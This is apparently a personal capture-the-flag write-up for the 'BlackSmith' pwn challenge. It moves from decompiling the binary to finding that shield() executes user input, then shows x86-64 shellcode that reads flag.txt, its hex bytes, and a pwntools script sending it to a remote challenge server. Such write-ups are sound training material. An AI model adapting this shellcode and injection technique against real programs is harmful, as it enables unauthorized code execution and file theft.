BlackSmith

1) checked file security

```
┌──(vigneswar㉿VigneswarPC)-[~/Reverse/BlackSmith]
└─$ checksec ./blacksmith
[*] '/home/vigneswar/Reverse/BlackSmith/blacksmith'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      PIE enabled
    Stack:    Executable
    RWX:      Has RWX segments

┌──(vigneswar㉿VigneswarPC)-[~/Reverse/BlackSmith]
└─$ file blacksmith
blacksmith: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a4acbf7f1d36
cdce46b8fe897a8ac56d49236d29, not stripped
```

2) checked basic working

```
┌──(vigneswar㉿VigneswarPC)-[~/Reverse/BlackSmith]
└─$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 1
This sword can cut through anything! The only thing is, that it is too heavy carry it..
zsh: invalid system call  ./blacksmith
```

```
┌──(vigneswar㉿VigneswarPC)-[~/Reverse/BlackSmith]
└─$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 2
Farewell traveler! Come back when you have all the materials!
```

```
┌──(vigneswar㉿VigneswarPC)-[~/Reverse/BlackSmith]
└─$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 2
Excellent choice! This luminous shield is empowered with Sun's light! ☀
It will protect you from any attack and it can reflect enemies attacks back!
Do you like your new weapon?
> yes
zsh: segmentation fault  ./blacksmith
```

```
┌──(vigneswar㉿VigneswarPC)-[~/Reverse/BlackSmith]
└─$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 3
This bow's range is the best!
Too bad you do not have enough materials to craft some arrows too..
zsh: invalid system call  ./blacksmith
```

3) decompiled the binary

```
void main(void)

{
  size_t __n;
  long in_FS_OFFSET;
  int local_28;
  int local_24;
  char *local_20;
  char *local_18;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setup();
  local_20 = "You are worthy to carry this Divine Weapon and bring peace to our homeland!\n";
  local_18 = "This in not a weapon! Do not try to mock me!\n";
  puts("Traveler, I need some materials to fuse in order to create something really powerful!");
  printf(
        "Do you have the materials I need to craft the Ultimate Weapon?\n1. Yes, everything is here!
        \n2. No, I did not manage to bring them all!\n> "
        );
  __isoc99_scanf(&DAT_00101299,&local_28);
  if (local_28 != 1) {
    puts("Farewell traveler! Come back when you have all the materials!");
                    /* WARNING: Subroutine does not return */
    exit(0x22);
  }
  printf(&DAT_001012e0);
  __isoc99_scanf(&DAT_00101299,&local_24);
  sec();
  if (local_24 == 2) {
    shield();
  }
  else if (local_24 == 3) {
    bow();
  }
  else {
    if (local_24 != 1) {
      __n = strlen(local_18);
      write(1,local_18,__n);
                    /* WARNING: Subroutine does not return */
      exit(0x105);
    }
    sword();
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
```

```
void shield(void)

{
  size_t sVar1;
  long in_FS_OFFSET;
  undefined local_58 [72];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  sVar1 = strlen(&DAT_00101080);
  write(1,&DAT_00101080,sVar1);
  sVar1 = strlen("Do you like your new weapon?\n> ");
  write(1,"Do you like your new weapon?\n> ",sVar1);
  read(0,local_58,0x3f);
  (*(code *)local_58)();
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

```
void sword(void)

{
  long lVar1;
  size_t __n;
  long in_FS_OFFSET;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  __n = strlen(
             "This sword can cut through anything! The only thing is, that it is too heavy carry it
             ..\n"
             );
  write(1,
        "This sword can cut through anything! The only thing is, that it is too heavy carry it..\n",
        __n);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

```

```
1
2 void bow(void)
3
4 {
5   long lVar1;
6   size_t __n;
7   long in_FS_OFFSET;
8
9   lVar1 = *(long *)(in_FS_OFFSET + 0x28);
10  __n = strlen(
11              "This bow\'s range is the best!\nToo bad you do not have enough materials to craft som
                e arrows too..\n"
12              );
13  write(1,
14        "This bow\'s range is the best!\nToo bad you do not have enough materials to craft some arro
          ws too..\n"
15        ,__n);
16  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
17                    /* WARNING: Subroutine does not return */
18    __stack_chk_fail();
19  }
20  return;
21 }
22
```

4) vulnerabilities

```
1
2 void shield(void)
3
4 {
5   size_t sVar1;
6   long in_FS_OFFSET;
7   undefined local_58 [72];
8   long local_10;
9
10  local_10 = *(long *)(in_FS_OFFSET + 0x28);
11  sVar1 = strlen(&DAT_00101080);
12  write(1,&DAT_00101080,sVar1);
13  sVar1 = strlen("Do you like your new weapon?\n> ");
14  write(1,"Do you like your new weapon?\n> ",sVar1);
15  read(0,local_58,0x3f);
16  (*(code *)local_58)();
17  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
18                    /* WARNING: Subroutine does not return */
19    __stack_chk_fail();
20  }
21  return;
22 }
23
```

we can execute our function

```
00100dd9 48 8d 55 b0     LEA         RDX=>local_58,[RBP + -0x50]
00100ddd b8 00 00        MOV         EAX,0x0
         00 00
00100de2 ff d2           CALL        RDX
```

5) we can directly print flag from here

CHALLENGE DESCRIPTION

You are the only one who is capable of saving this town and bringing peace upon this land! You found a blacksmith who can create the most powerful weapon in the world! You can find him under the label "./flag.txt".

6) made a payload to print flag

```
global _start

section .text
_start:
    push 0             ; push NULL string terminator
    mov rdi, 'flag.txt' ; rest of file name
    push rdi           ; push to stack

    ; open('rsp', 'O_RDONLY')
    mov rax, 2         ; open syscall number
    mov rdi, rsp       ; move pointer to filename
    mov rsi, 0         ; set O_RDONLY flag
    syscall

    ; read file
    lea rsi, [rdi]     ; pointer to opened file
    mov rdi, rax       ; set fd to rax from open syscall
    mov rax, 0         ; read syscall number
    mov rdx, 24        ; size to read
    syscall

    ; write output
    mov rax, 1         ; write syscall
    mov rdi, 1         ; set fd to stdout
    mov rdx, 24        ; size to read
    syscall
```

```
┌──(vigneswar㉿VigneswarPC)-[~/Programming/ASM]
└─$ python3 test.py
\x6a\x00\x48\xbf\x66\x6c\x61\x67\x2e\x74\x78\x74\x57\xb8\x02\x00\x00\x00\x48\x89\xe7\xbe\x00\x00\x00\x00\x0f\x05\x48\x8d\x37\x48\x89\xc7\xb8\x00\x00\x00\x00\xba\x18\x00\x00\x00\
x0f\x05\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\xba\x18\x00\x00\x00\x0f\x05
126
```

7) exploited it

```
from pwn import *
```

```
io = process(['nc', '188.166.175.58', '30099'])

buf = b'\x6a\x00\x48\xbf\x66\x6c\x61\x67\x2e\x74\x78\x74\x57\xb8\x02\x00\x00\x00\x48\x89\x-
e7\xbe\x00\x00\x00\x00\x0f\x05\x48\x8d\x37\x48\x89\xc7\xb8\x00\x00\x00\x00\xba\x18\x00\x00
\x00\x0f\x05\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\xba\x18\x00\x00\x00\x0f\x05'

io.sendlineafter(b'>', b'1')
io.sendlineafter(b'>', b'2')
io.sendlineafter(b'>', buf)
io.interactive()
```